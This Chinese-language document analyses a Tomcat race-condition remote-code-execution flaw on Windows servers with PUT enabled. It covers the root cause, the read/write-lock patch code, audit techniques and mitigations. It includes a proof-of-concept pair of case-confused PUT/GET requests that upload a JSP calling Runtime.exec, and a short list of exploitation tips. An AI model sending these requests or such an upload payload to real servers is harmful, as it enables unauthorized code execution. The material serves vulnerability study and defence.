Tomcat条件竞争导致RCE漏洞(CVE-2025-50379)深度分析与教学文档

漏洞概述

CVE-2025-50379是Apache Tomcat中的一个条件竞争(Race Condition)漏洞，当Tomcat开启PUT协议时，攻击者可以通过并发发送大小写混淆的数据包，利用条件竞争绕过Tomcat的防护机制，最终导致远程代码执行(RCE)。

漏洞影响

• 受影响系统：Windows系统下运行的Tomcat
• 前提条件：Tomcat开启了PUT协议
• 漏洞类型：条件竞争导致的RCE
• CVSS评分：待定(根据实际影响评估)

漏洞复现(POC)

PUT /aaa/aa.Jsp HTTP/1.1
Host: 192.168.2.137:8080
User-Agent: Mozilla/5.0
<% Runtime.getRuntime().exec("calc"); %>

GET /aaa/aa.jsp HTTP/1.1
Host: 192.168.2.137:8080
User-Agent: Mozilla/5.0

攻击者需要在短时间内并发发送上述大小写混淆的PUT和GET请求。

漏洞根本原因分析

1. 问题本质

这是一个资源元数据不一致问题，发生在并发的GET和PUT/DELETE操作时。FileResource对象的状态出现了混乱：

• 部分字段显示文件存在
• 部分字段显示文件不存在

2. 问题产生的具体场景

原始getResource实现(简化版)：

public WebResource getResource(String path) {
    File f = file(path.substring(webAppMount.length()), false);
    if (!f.exists()) {
        return new EmptyResource(root, path, f);
    }
    return new FileResource(root, path, f, isReadOnly(), getManifest());
}

当并发请求发生时：

1. 时间点1: GET请求检查文件存在
2. 时间点2: DELETE请求删除文件
3. 时间点3: GET请求继续构造FileResource对象

这会导致：

• FileResource对象的部分字段基于文件存在时的状态
• 另一部分字段基于文件已被删除的状态
• 最终导致FileResource内部状态不一致

3. 问题的根本原因

1. 缺乏原子性：检查文件存在性到创建FileResource对象这个过程不是原子的
2. 缺乏同步机制：并发的读写操作没有适当的同步控制
3. 状态不一致：FileResource对象的构造过程可能跨越文件状态的变化点

4. 漏洞利用原理

通过频繁发送PUT请求，在getResource函数中，f.exists()函数会跳过检查，从而逃逸了EmptyResource，导致webshell上传成功。

修复方案分析

修复后的getResource实现：

public WebResource getResource(String path) {
    ResourceLock lock = lockForRead(path);
    try {
        File f = file(path.substring(webAppMount.length()), false);
        if (!f.exists()) {
            return new EmptyResource(root, path, f);
        }
        return new FileResource(root, path, f, isReadOnly(), getManifest(), this, lock.key);
    } finally {
        unlockForRead(lock);
    }
}

主要改进：

1. 引入读写锁机制保护资源访问
2. 确保资源状态检查和对象创建的原子性
3. 写操作时使用排他锁防止并发读取
4. 读操作时使用共享锁允许并发读取

代码修改详情

1. 新增文件 WebResourceLockSet.java

public interface WebResourceLockSet {
    // 为读操作提供锁定机制
    ResourceLock lockForRead(String path);
    void unlockForRead(ResourceLock resourceLock);
    
    // 为写操作提供锁定机制
    ResourceLock lockForWrite(String path);
    void unlockForWrite(ResourceLock resourceLock);
    
    // 内部类定义资源锁
    class ResourceLock {
        public final AtomicInteger count = new AtomicInteger(0); // 追踪锁的使用计数
        public final ReentrantReadWriteLock reentrantLock = new ReentrantReadWriteLock(); // 实际的读写锁
        public final String key; // 锁定资源的标识符
    }
}

2. DirResourceSet.java 的主要修改

public class DirResourceSet extends AbstractFileResourceSet implements WebResourceLockSet {
    private boolean caseSensitive = true; // 文件系统是否大小写敏感
    private Map<String, ResourceLock> resourceLocksByPath = new HashMap<>(); // 存储路径与锁的映射
    private Object resourceLocksByPathLock = new Object(); // 保护map的同步锁
    
    // 获取资源的方法修改
    public WebResource getResource(String path) {
        // ...
        ResourceLock lock = lockForRead(path);
        try {
            File f = file(path.substring(webAppMount.length()), false);
            if (!f.exists()) {
                return new EmptyResource(root, path, f);
            }
            // 传入锁信息创建FileResource
            return new FileResource(root, path, f, isReadOnly(), getManifest(), this, lock.key);
        } finally {
            unlockForRead(lock);
        }
    }
    
    // 写入资源的方法修改
    public boolean write(String path, InputStream is, boolean overwrite) {
        ResourceLock lock = lockForWrite(path);
        try {
            // 执行写入操作
            // ...
        } finally {
            unlockForWrite(lock);
        }
    }
    
    // 实现锁定方法
    public ResourceLock lockForRead(String path) {
        String key = getLockKey(path);
        ResourceLock resourceLock = null;
        synchronized (resourceLocksByPathLock) {
            // 获取或创建锁
            resourceLock = resourceLocksByPath.get(key);
            if (resourceLock == null) {
                resourceLock = new ResourceLock(key);
            }
            resourceLock.count.incrementAndGet(); // 增加使用计数
        }
        resourceLock.reentrantLock.readLock().lock(); // 获取读锁
        return resourceLock;
    }
    
    public void unlockForRead(ResourceLock resourceLock) {
        resourceLock.reentrantLock.readLock().unlock(); // 释放读锁
        synchronized (resourceLocksByPathLock) {
            if (resourceLock.count.decrementAndGet() == 0) { // 减少使用计数
                resourceLocksByPath.remove(resourceLock.key); // 如果没有使用则移除
            }
        }
    }
}

3. FileResource.java 的修改

public class FileResource extends AbstractResource {
    private final WebResourceLockSet lockSet; // 锁集合引用
    private final String lockKey; // 资源锁标识符
    
    // 构造函数增加锁相关参数
    public FileResource(WebResourceRoot root, String webAppPath, File resource, 
                       boolean readOnly, Manifest manifest, 
                       WebResourceLockSet lockSet, String lockKey) {
        // ...
        this.lockSet = lockSet;
        this.lockKey = lockKey;
    }
    
    // 删除操作增加锁保护
    public boolean delete() {
        if (readOnly) {
            return false;
        }
        ResourceLock lock = null;
        if (lockSet != null) {
            lock = lockSet.lockForWrite(lockKey); // 获取写锁
        }
        try {
            return resource.delete();
        } finally {
            if (lockSet != null) {
                lockSet.unlockForWrite(lock); // 释放写锁
            }
        }
    }
}

关键改进点

1. 锁的粒度控制：

   • 使用路径作为锁的标识符
   • 支持大小写敏感/不敏感的文件系统

2. 锁的生命周期管理：

   • 使用计数器追踪锁的使用情况
   • 自动清理不再使用的锁

3. 并发控制：

   • 读操作使用共享锁
   • 写操作使用排他锁
   • 保护锁集合的并发访问

4. 错误处理：

   • 使用try-finally确保锁的释放
   • 支持空检查和异常处理

安全建议

代码审计角度

1. 检查所有涉及文件操作的代码路径
2. 确保锁的正确获取和释放
3. 检查是否存在死锁风险
4. 验证错误处理和异常情况

漏洞防范措施

1. 防止条件竞争(Race Condition)
2. 防止TOCTOU(Time-of-check to time-of-use)漏洞
3. 防止资源泄露
4. 防止拒绝服务攻击

监控建议

1. 监控锁的获取和释放情况
2. 监控资源访问模式
3. 监控并发操作的性能影响
4. 记录异常和错误情况

代码审计技术

1. 条件竞争漏洞检测要点

1. TOCTOU漏洞检测：

   if (!f.exists()) {  // 检查时间点
       return new EmptyResource(root, path, f);
   }
   // ... 这里存在时间窗口 ...
   return new FileResource(root, path, f, ...);  // 使用时间点
   

2. 原子性检查：

   • 文件检查和对象创建之间是否有同步机制
   • 关键操作是否被完整保护

3. 状态一致性检查：

   • 对象构造过程中文件状态是否可能变化
   • 字段初始化是否基于同一时间点的状态

2. 安全编码实践

1. 同步机制：

   • 使用适当的锁机制
   • 确保锁粒度合理
   • 避免死锁

2. 错误处理：

   • 确保资源正确释放
   • 异常情况下保持系统一致性

3. 并发控制：

   • 读多写少场景使用读写锁
   • 高并发场景考虑锁分段

漏洞利用进阶

1. 漏洞利用条件

1. Tomcat必须开启PUT方法
2. 攻击者需要有上传文件的权限
3. 需要精确控制并发请求的时间窗口

2. 漏洞利用技巧

1. 大小写混淆：利用Windows文件系统不区分大小写的特性
2. 并发请求：精确控制PUT和GET请求的发送时机
3. 状态污染：通过多次尝试污染FileResource对象状态

防御措施

1. 临时缓解方案

1. 禁用PUT方法
2. 限制文件上传权限
3. 部署WAF规则拦截可疑请求

2. 长期解决方案

1. 升级到修复版本
2. 实施完善的代码审计流程
3. 建立安全开发生命周期(SDLC)

自动化分析工具使用

使用Cursor等AI辅助工具可以显著提高代码审计效率：

1. 快速定位漏洞点：通过分析commit差异
2. 理解修复方案：自动解读补丁内容
3. 生成分析报告：自动整理漏洞详情和修复建议

传统分析可能需要半天到一天时间，而使用AI工具可以在10分钟内完成原理分析。

总结

CVE-2025-50379是一个典型的条件竞争漏洞，其根本原因是Tomcat在处理文件资源时缺乏适当的同步机制。通过引入读写锁和完善的资源状态管理，可以有效解决此类问题。对于安全研究人员和开发人员来说，理解这类漏洞的成因和修复方法，对于提高代码安全性具有重要意义。